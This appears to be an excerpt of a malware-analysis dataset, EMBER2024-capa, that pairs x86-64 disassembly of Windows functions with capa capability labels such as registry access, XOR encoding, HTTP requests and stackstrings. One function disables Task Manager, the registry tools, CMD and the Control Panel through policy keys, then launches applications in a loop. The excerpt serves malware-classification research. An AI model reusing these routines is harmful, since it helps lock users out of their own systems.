joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140071e78
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], r8
mov qword [r11 + 0x10], rdx
mov qword [r11 + 8], rcx
push rsi
push rdi
push r14
sub rsp, 0x50
mov qword [r11 - 0x28], 0xfffffffffffffffe
mov qword [r11 + 0x20], rbx
mov rbx, r9
mov rsi, r8
mov r14, rdx
mov edi, 1
and qword [r11 - 0x30], 0
lea rax, [r11 - 0x30]
mov qword [r11 - 0x48], rax
mov r9d, 0x20219
xor r8d, r8d
mov rdx, qword [rdx]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140071f6f
mov dword [rsp + 0x30], edi
mov edx, 0x800
mov dword [rsp + 0x70], edx
mov rax, qword [rbx]
sub edi, dword [rax - 8]
mov eax, dword [rax - 0xc]
sub eax, edx
or eax, edi
jge 0x140071efb
mov rcx, rbx
call fcn.140005ca0
mov rax, qword [rbx]
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
mov r8, qword [rsi]
lea rdx, [0x140098ae3]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.SHLWAPI.dll_SHGetValueA]
mov edi, eax
mov rcx, qword [rbx]
test rcx, rcx
jne 0x140071f35
xor eax, eax
jmp 0x140071f42
movsxd rdx, dword [rcx - 0xc]
call fcn.14004c350
test eax, eax
js 0x140071f64
mov rcx, qword [rbx]
cmp eax, dword [rcx - 0xc]
jg 0x140071f64
mov dword [rcx - 0x10], eax
movsxd rcx, eax
mov rax, qword [rbx]
mov byte [rcx + rax], 0
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140071f6f
mov ecx, 0x80070057
call fcn.140005dac
int3
test edi, edi
sete bl
mov rdx, qword [r14]
sub rdx, 0x18
or edi, 0xffffffff
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140071f95
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsi]
sub rdx, 0x18
mov ecx, edi
lock xadd dword [rdx + 0x10], ecx
add ecx, edi
test ecx, ecx
jg 0x140071fb3
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.WS2_32.dll_htonl + 8]
mov al, bl
mov rbx, qword [rsp + 0x88]
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret
Function at 0x140071fcc
Capabilities:
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
mov qword [r11 + 8], rcx
push r14
sub rsp, 0x30
and qword [r11 + 8], 0
mov r14, rdx
mov rdx, qword [rdx]
lea rax, [r11 + 8]
mov rsi, r9
mov rdi, r8
mov rcx, 0xffffffff80000002
mov r9d, 0x20206
xor r8d, r8d
mov ebx, 1
mov qword [r11 - 0x18], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140072051
mov rcx, qword [rsi]
mov r8, qword [rdi]
lea rdx, [0x140098ae3]
mov eax, dword [rcx - 0x10]
mov r9d, ebx
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov rcx, qword [rsp + 0x40]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [r14]
test ebx, ebx
sete bl
sub rdx, 0x18
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14007206d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rdx, qword [rdi]
sub rdx, 0x18
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140072084
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rdx, qword [rsi]
sub rdx, 0x18
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14007209c
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.WS2_32.dll_htonl + 8]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
mov al, bl
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop r14
ret

Function at 0x1400720bc
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbx
push rbp
push rsi
push rdi
sub rsp, 0x48
mov qword [rax - 0x38], 0xfffffffffffffffe
mov rbx, r9
mov rdi, r8
mov rsi, rdx
mov ecx, 1
mov dword [rax + 0x20], ecx
mov edx, 0x800
mov dword [rax + 8], edx
mov rax, qword [r9]
sub ecx, dword [rax - 8]
mov eax, dword [rax - 0xc]
sub eax, edx
or eax, ecx
jge 0x14007210b
mov rcx, rbx
call fcn.140005ca0
mov rax, qword [rbx]
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x88]
mov r8, qword [rdi]
mov rdx, qword [rsi]
mov rcx, 0xffffffff80000002
call qword [sym.imp.SHLWAPI.dll_SHGetValueA]
mov ebp, eax
mov rcx, qword [rbx]
test rcx, rcx
jne 0x140072146
xor eax, eax
jmp 0x140072153
movsxd rdx, dword [rcx - 0xc]
call fcn.14004c350
test eax, eax
js 0x1400721b0
mov rcx, qword [rbx]
cmp eax, dword [rcx - 0xc]
jg 0x1400721b0
mov dword [rcx - 0x10], eax
movsxd rcx, eax
mov rax, qword [rbx]
mov byte [rcx + rax], 0
test ebp, ebp
sete bl
mov rdx, qword [rsi]
sub rdx, 0x18
or esi, 0xffffffff
mov eax, esi
lock xadd dword [rdx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14007218e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rdi]
sub rdx, 0x18
mov ecx, esi
lock xadd dword [rdx + 0x10], ecx
add ecx, esi
test ecx, ecx
jg 0x1400721ac
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.WS2_32.dll_htonl + 8]
mov al, bl
jmp 0x1400721bb
mov ecx, 0x80070057
call fcn.140005dac
nop
add rsp, 0x48
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400749bc
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
cmp byte [rcx + 8], 0
mov rsi, r9
mov rdi, r8
mov rbp, rdx
mov rbx, rcx
je 0x140074aa7
test r9, r9
je 0x140074aed
movsxd rcx, dword [rcx + 0x3d0]
xor edx, edx
mov rax, r9
div rcx
test rdx, rdx
jne 0x140074aed
xor r14d, r14d
test rax, rax
je 0x140074a8c
mov r8, rdi
mov rdx, rbp
mov rcx, rbx
call fcn.1400735a4
cmp byte [rbx + 8], 0
mov rcx, rdi
je 0x140074aca
xor edx, edx
cmp dword [rbx + 0x3d0], edx
jle 0x140074a56
mov r8, rbx
sub r8, rdi
mov al, byte [r8 + rcx + 0x3f8]
inc edx
xor byte [rcx], al
inc rcx
cmp edx, dword [rbx + 0x3d0]
jl 0x140074a3f
movsxd r8, dword [rbx + 0x3d0]
lea rcx, [rbx + 0x3f8]
mov rdx, rbp
call fcn.140049a70
movsxd rcx, dword [rbx + 0x3d0]
xor edx, edx
mov rax, rsi
inc r14d
add rbp, rcx
div rcx
add rdi, rcx
movsxd rcx, r14d
cmp rcx, rax
jb 0x140074a14
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
lea rdx, str.Object_not_Initialized
lea rcx, [rsp + 0x20]
call fcn.1400498c0
lea rdx, [0x1400a2090]
lea rcx, [rsp + 0x20]
call fcn.140050680
int3
lea rdx, str.Object_not_Initialized
lea rcx, [rsp + 0x20]
call fcn.1400498c0
lea rdx, [0x1400a2090]
lea rcx, [rsp + 0x20]
call fcn.140050680
int3
lea rdx, str.Data_not_multiple_of_Block_Size
lea rcx, [rsp + 0x20]
call fcn.1400498c0
lea rdx, [0x1400a2090]
lea rcx, [rsp + 0x20]
call fcn.140050680
int3
Function at 0x140076c98
Capabilities:
Get common file path
Get disk information

Disassembly:
push rbp
sub rsp, 0x6b0
lea rbp, [rsp + 0x40]
mov qword [rbp + 0x20], 0xfffffffffffffffe
mov qword [rbp + 0x688], rbx
mov qword [rbp + 0x690], rsi
mov qword [rbp + 0x698], rdi
mov rax, qword [0x1400a45d0]
xor rax, rbp
mov qword [rbp + 0x660], rax
mov rdi, rcx
xor esi, esi
mov dword [rbp + 0x18], esi
lea rdx, [0x140098ae3]
lea rcx, [rbp + 8]
call fcn.140005a84
nop
mov word [rbp + 0x450], si
mov ebx, 0x208
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x452]
call fcn.14004d2b0
mov word [rbp + 0x240], si
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x242]
call fcn.14004d2b0
mov dword [rbp], esi
mov dword [rbp + 0x14], esi
mov dword [rbp + 0x10], esi
mov word [rbp + 0x30], si
xor edx, edx
lea r8d, [rbx - 2]
lea rcx, [rbp + 0x32]
call fcn.14004d2b0
xor r9d, r9d
lea r8d, [rsi + 0x25]
lea rdx, [rbp + 0x30]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov word [rbp + 0x36], si
mov r8d, 0x105
mov dword [rsp + 0x38], r8d
lea rax, [rbp + 0x240]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x14]
mov qword [rsp + 0x20], rax
lea r9, [rbp]
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x140076dab
mov r8d, dword [rbp]
lea rdx, [0x140098e74]
lea rcx, [rbp + 8]
call fcn.1400054dc
mov r8, qword [rbp + 8]
test r8, r8
je 0x140076e22
or rcx, 0xffffffffffffffff
inc rcx
cmp byte [r8 + rcx], sil
jne 0x140076db8
inc ecx
cmp ecx, 0x3fffffff
jg 0x140076e22
movsxd rax, ecx
add rax, rax
lea rdx, [rax + 0xf]
cmp rdx, rax
ja 0x140076de4
movabs rdx, 0xffffffffffffff0
and rdx, 0xfffffffffffffff0
mov rax, rdx
call fcn.14004e040
sub rsp, rdx
lea rbx, [rsp + 0x40]
test rbx, rbx
je 0x140076e22
mov word [rbx], si
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rbx
or r9d, 0xffffffff
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
neg eax
sbb rdx, rdx
and rdx, rbx
jmp 0x140076e25
mov rdx, rsi
mov rcx, rdi
call fcn.140005fa8
nop
mov rdx, qword [rbp + 8]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140076e47
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.WS2_32.dll_htonl + 8]
mov rax, rdi
mov rcx, qword [rbp + 0x660]
xor rcx, rbp
call fcn.140049680
mov rbx, qword [rbp + 0x688]
mov rsi, qword [rbp + 0x690]
mov rdi, qword [rbp + 0x698]
lea rsp, [rbp + 0x670]
pop rbp
ret
Function at 0x140077288
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x178]
sub rsp, 0x270
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov rax, qword [0x1400a45d0]
xor rax, rsp
mov qword [rbp + 0x160], rax
mov rbx, rcx
mov qword [rsp + 0x50], rcx
and dword [rsp + 0x44], 0
lea rcx, [0x1400a40e0]
mov rax, qword [0x1400a40e0]
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rbx], rax
mov dword [rsp + 0x44], 1
mov byte [rsp + 0x60], 0
xor edx, edx
mov r8d, 0x1ff
lea rcx, [rsp + 0x61]
call fcn.14004d2b0
mov dword [rsp + 0x30], 0x200
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftCryptography
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400773da
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x40]
xor r8d, r8d
lea rdx, str.MachineGuid
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x1400773c2
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftCryptography
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400773da
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x40]
xor r8d, r8d
lea rdx, str.MachineGuid
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400773da
lea rdx, [rsp + 0x60]
mov rcx, rbx
call fcn.140006028
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, rbx
mov rcx, qword [rbp + 0x160]
xor rcx, rsp
call fcn.140049680
mov rbx, qword [rsp + 0x288]
add rsp, 0x270
pop rbp
ret
Function at 0x140077f84
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xa0
mov qword [rbp - 0x19], 0xfffffffffffffffe
mov rax, qword [0x1400a45d0]
xor rax, rsp
mov qword [rbp + 0x1f], rax
mov rbx, r9
mov rdi, r8
mov r14, rcx
mov qword [rbp - 0x21], rcx
mov qword [rbp - 9], r8
mov qword [rbp - 0x11], rbx
xor r15d, r15d
mov dword [rbp - 0x45], r15d
lea r12d, [r15 + 0xf]
mov qword [rcx + 0x18], r12
mov qword [rcx + 0x10], r15
mov byte [rcx], r15b
mov dword [rbp - 0x45], 1
cmp qword [r8 + 0x18], 0x10
jb 0x140077fef
mov rdx, qword [r8]
jmp 0x140077ff2
mov rdx, r8
lea rax, [rbp - 0x41]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000003
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400780f4
mov rsi, r15
mov qword [rbp - 0x39], r15
mov qword [rbp - 0x31], r15
mov qword [rbp - 0x29], r15
mov dword [rbp - 0x49], r15d
cmp qword [rbx + 0x18], 0x10
jb 0x140078038
mov rdx, qword [rbx]
jmp 0x14007803b
mov rdx, rbx
lea rax, [rbp - 0x49]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp - 0x41]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400780e7
mov edx, dword [rbp - 0x49]
lea rcx, [rbp - 0x39]
call fcn.14000523c
cmp qword [rbx + 0x18], 0x10
jb 0x140078079
mov rdx, qword [rbx]
jmp 0x14007807c
mov rdx, rbx
lea rax, [rbp - 0x49]
mov qword [rsp + 0x28], rax
mov rsi, qword [rbp - 0x39]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp - 0x41]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400780e7
mov r8, qword [rbp - 0x31]
mov eax, r8d
sub eax, esi
test eax, eax
jle 0x1400780e7
dec r8
mov qword [rbp + 0x17], r12
mov qword [rbp + 0xf], r15
mov byte [rbp - 1], r15b
mov rdx, rsi
lea rcx, [rbp - 1]
call fcn.1400065c0
lea rdx, [rbp - 1]
mov rcx, r14
call fcn.140001cc8
cmp qword [rbp + 0x17], 0x10
jb 0x1400780e7
mov rcx, qword [rbp - 1]
call fcn.140049668
nop
test rsi, rsi
je 0x1400780f4
mov rcx, rsi
call fcn.140049668
mov rcx, qword [rbp - 0x41]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
cmp qword [rdi + 0x18], 0x10
jb 0x14007810e
mov rcx, qword [rdi]
call fcn.140049668
mov qword [rdi + 0x18], r12
mov qword [rdi + 0x10], r15
mov byte [rdi], r15b
cmp qword [rbx + 0x18], 0x10
jb 0x140078128
mov rcx, qword [rbx]
call fcn.140049668
mov qword [rbx + 0x18], r12
mov qword [rbx + 0x10], r15
mov byte [rbx], r15b
mov rax, r14
mov rcx, qword [rbp + 0x1f]
xor rcx, rsp
call fcn.140049680
add rsp, 0xa0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x14007815c
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
and dword [rsp + 0x30], 0
cmp qword [rdx + 0x18], 0x10
mov rbx, r8
mov rdi, rdx
jb 0x140078180
mov rdx, qword [rdx]
lea rax, [rsp + 0x38]
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000003
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400781e0
cmp qword [rbx + 0x18], 0x10
mov dword [rsp + 0x34], 4
jb 0x1400781b8
mov rdx, qword [rbx]
jmp 0x1400781bb
mov rdx, rbx
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x34]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp qword [rdi + 0x18], 0x10
mov esi, dword [rsp + 0x30]
jb 0x1400781fe
mov rcx, qword [rdi]
call fcn.140049668
and qword [rdi + 0x10], 0
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
cmp qword [rbx + 0x18], 0x10
jb 0x14007821d
mov rcx, qword [rbx]
call fcn.140049668
and qword [rbx + 0x10], 0
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, esi
mov rsi, qword [rsp + 0x68]
mov byte [rbx], 0
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x1400785ac
Capabilities:
Check http status code
Send data
Send http request

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x1400a45d0]
xor rax, rsp
mov qword [rbp - 8], rax
xor ebx, ebx
mov rsi, rcx
mov dword [rbp - 0x16], 0x656c676f
mov word [rbp - 0x18], 0x6f67
mov dword [rbp - 0x11], 0x6d6f63
mov byte [rbp - 0x12], reloc.WLDAP32.dll_Ordinal_46
mov qword [rbp - 0x28], rbx
mov byte [rbp - 0x38], bl
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
lea rax, [rbp - 0x18]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], bl
jne 0x140078606
lea rdx, [rbp - 0x18]
lea rcx, [rbp - 0x38]
call fcn.14000303c
xor ecx, ecx
call fcn.140078e80
mov r15d, 1
lea rdx, [rbp - 0x38]
mov r9d, r15d
mov rcx, rsi
mov r8d, eax
call fcn.140078f88
cmp byte [rsi + 0x20], bl
je 0x1400786fd
lea rcx, [rbp - 0x38]
call fcn.140078e44
cmp qword [rax + 0x18], 0x10
jb 0x140078657
mov rax, qword [rax]
mov rcx, qword [rsi + 0x30]
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
lea r9, str.HTTP_1.0
lea r8, [0x140098d68]
mov rdx, rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
cmp qword [rbp - 0x20], 0x10
mov rdi, rax
jb 0x140078698
mov rcx, qword [rbp - 0x38]
call fcn.140049668
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x28], rbx
mov byte [rbp - 0x38], bl
test rdi, rdi
je 0x1400786f4
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call qword [sym.imp.WININET.dll_HttpSendRequestA]
lea r9, [rbp - 0x3c]
lea r8, [rbp - 0x40]
mov edx, 0x20000013
mov rcx, rdi
mov dword [rbp - 0x40], ebx
mov dword [rbp - 0x3c], 4
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp dword [rbp - 0x40], 0xc8
movzx ebx, bl
cmove ebx, r15d
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call fcn.140078f44
mov al, bl
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140049680
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop rdi
pop rbp
ret
Function at 0x140078f88
Capabilities:
Connect to http server
Create http request

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x40
cmp qword [rcx + 0x18], 0x10
mov eax, r9d
mov esi, r8d
mov rbx, rdx
mov rdi, rcx
jb 0x140078fa6
mov rcx, qword [rcx]
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, eax
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rdi + 0x28], rax
cmp qword [rbx + 0x18], 0x10
jb 0x140078fc9
mov rdx, qword [rbx]
jmp 0x140078fcc
mov rdx, rbx
and qword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
xor r9d, r9d
movzx r8d, si
mov rcx, rax
mov dword [rsp + 0x28], 3
and qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rdi + 0x30], rax
test rax, rax
jne 0x140079016
cmp qword [rbx + 0x18], 0x10
jb 0x14007900d
mov rcx, qword [rbx]
call fcn.140049668
and qword [rbx + 0x10], 0
xor al, al
jmp 0x140079030
mov byte [rdi + 0x20], 1
cmp qword [rbx + 0x18], 0x10
jb 0x140079029
mov rcx, qword [rbx]
call fcn.140049668
and qword [rbx + 0x10], 0
mov al, 1
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret

Function at 0x14007904c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x28], 0xfffffffffffffffe
mov qword [rsp + 0x68], rbx
mov rax, qword [0x1400a45d0]
xor rax, rsp
mov qword [rbp - 8], rax
mov rbx, rcx
mov qword [rbp - 0x30], rcx
mov qword [rcx + 0x18], reloc.WS2_32.dll_ntohs
xor eax, eax
mov qword [rcx + 0x10], rax
mov byte [rcx], al
mov byte [rcx + 0x20], al
mov qword [rcx + 0x28], rax
mov qword [rcx + 0x30], rax
mov word [rbp - 0x13], 0x7a6f
mov word [rbp - 0xd], reloc.WLDAP32.dll_Ordinal_41
mov dword [rbp - 0x1e], 0x495f5349
mov dword [rbp - 0x19], 0x20637465
mov word [rbp - 0x10], 0x6c6c
mov byte [rbp - 0xe], 0x61
mov byte [rbp - 0x1a], WSAGetLastError
mov word [rbp - 0x15], 0x4d28
mov byte [rbp - 0x11], 0x69
mov word [rbp - 0x20], 0x534e
lea rcx, [rbp - 0x20]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rcx + r8], al
jne 0x1400790d2
lea rdx, [rbp - 0x20]
mov rcx, rbx
call fcn.14000303c
nop
mov rax, rbx
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140049680
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rbp
ret
Function at 0x140011096
Capabilities:
Set registry value

Disassembly:
jmp 0x1400117b0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x158]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, [0x1400220f2]
call fcn.140011370
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x140011897
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x138]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rdx, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [rbp + 0x24], eax
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbp + 0x24], 0
jne 0x140011884
mov dword [rbp + 0xf4], 1
jmp 0x14001188e
mov dword [rbp + 0xf4], 0
movzx eax, byte [rbp + 0xf4]
jmp 0x140011899
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140019c00]
call fcn.14001130c
mov rax, rdi
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.1400111b8
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x1400111f4
Capabilities:
Terminate process

Disassembly:
jmp 0x140012f50
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x14001126c
Capabilities:
Execute command

Disassembly:
jmp 0x1400119a0
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1400220f2]
call fcn.140011370
mov r9d, 1
lea r8, str.DisableTaskMgr
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
call fcn.140011096
mov r9d, 1
lea r8, str.DisableRegistryTools
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
call fcn.140011096
mov r9d, 1
lea r8, str.DisableCMD
lea rdx, str.SoftwarePoliciesMicrosoftWindowsSystem
mov rcx, 0xffffffff80000001
call fcn.140011096
mov r9d, 1
lea r8, str.NoControlPanel
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
mov rcx, 0xffffffff80000001
call fcn.140011096
mov r9d, 1
lea r8, str.NoDevMgrPage
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
call fcn.140011096
xor eax, eax
cmp eax, 1
je 0x140011aca
lea rcx, str.start_winword
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start_mspaint
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start_notepad
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start_write
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start_chrome
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start_explorer
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start_calc
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140011a5b
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x140011276
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400142a0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400142c0
xor al, al
jmp 0x140014341
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400142d3
xor al, al
jmp 0x140014341
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400142fd
xor al, al
